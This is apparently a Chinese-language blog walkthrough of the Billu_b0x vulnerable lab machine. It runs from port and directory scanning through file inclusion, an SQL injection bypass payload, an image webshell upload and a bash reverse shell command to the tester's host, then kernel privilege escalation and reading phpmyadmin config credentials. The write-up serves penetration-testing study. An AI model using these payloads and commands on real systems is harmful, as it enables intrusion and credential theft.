靶机测试--Billu_b0x

信息收集

主机发现

在这里插入图片描述

端口扫描

在这里插入图片描述

目录扫描

这里使用了/usr/share/dirb/wordlists/big.txt这个字典(默认的字典扫不出来数据库后台):
在这里插入图片描述

漏洞发现及利用

老规矩,先访问80端口:

直接就是一个登录框,还说告诉了sql,尝试万能密码,失败,但是会显示sql语句,并打印输入的用户名密码:
在这里插入图片描述
访问其他页面:
1./add:一个文件上传的页面。
在这里插入图片描述
2./in 直接一个phpinfo:
在这里插入图片描述
3./test 提示没有file参数:
在这里插入图片描述
4./uploaded_images/ 一个图片的路径,可能是文件上传的点。
在这里插入图片描述
5./phpmy/ 数据库登录后台
在这里插入图片描述
接下里找利用点,phpinfo已经有了,查看配置,本地文件包含开启。

在test页面中,存在file参数,测试是不是文件包含点:
使用post提交:
在这里插入图片描述
存在文件包含漏洞,并且直接可以下载。

将目录扫描的一些页面的源码扒下来:

1.c.php:
在这里插入图片描述
直接爆出了数据库的账号密码。

2.index.php:
在这里插入图片描述
sql的一些过滤及注入方式,将单引号替换为空,并且先验证密码。

3.panel.php:

第一部分:
在这里插入图片描述
./被替换为空,load处存在文件包含。

第二部分:
在这里插入图片描述
文件上传的一些限制,白名单。

利用方式

1.得到了数据库的账号密码,直接登录,获得了index.php登录页面的账号密码。

2.尝试绕过sql注入的语句:

在验证数据的时候,先对密码进行了验证,并且url进行了解码,过滤了单引号。

绕过方式:

password:\
uname:or 1=1 #

插入sql语句后:

select * from auth where pass='\' and uname='or 1=1 #'

这样就变成了:pass的值为' and uname=(单引被注释掉,使剩余的单引号闭合)
uname恒成立,or 语句恒成立,成功绕过。

在Add User下存在文件上传:
在这里插入图片描述
同时页面为panel.php,以POST上传的load参数存在文件包含(由源码得知),所以,上传图片文件(白名单),配合文件包含,反弹shell。

上传图片马,包含php反弹shell脚本:
在这里插入图片描述
上传成功:
在这里插入图片描述
通过load参数进行文件包含,kali进行监听:
在这里插入图片描述
额,连接断开。

换个图片马:
在这里插入图片描述
GET传入cmd执行命令:
在这里插入图片描述
ok 反弹shell:

echo "bash -i >& /dev/tcp/192.168.133.129/7777 0>&1" | bash

这里要进行url编码,原因(不太清楚,浏览器url编码??)。

成功反弹shell:
在这里插入图片描述

提权

内核提权:

uname -a
cat /etc/issue

在这里插入图片描述

在这里插入图片描述
先开启一个终端:

python -c 'import pty;pty.spawn("/bin/bash")'

searchspolit查看提权方式:
在这里插入图片描述
.c文件,先下载kali,shell中wget远程下载(先进入tmp目录):
在这里插入图片描述

进行编译:
在这里插入图片描述
提权成功。

拓展

phpmyadmin的默认配置文件为config.inc.php,通过文件包含下载(目录为/var/www/phpmy/config.inc.php):
在这里插入图片描述
通过ssh远程连接成功。

总结

sql注入的绕过方式。

文件包含的特征file。

简单的代码审计。

一些默认的配置文件。

一句话木马的变形。

猜你喜欢

转载自blog.csdn.net/qq_45742511/article/details/114851469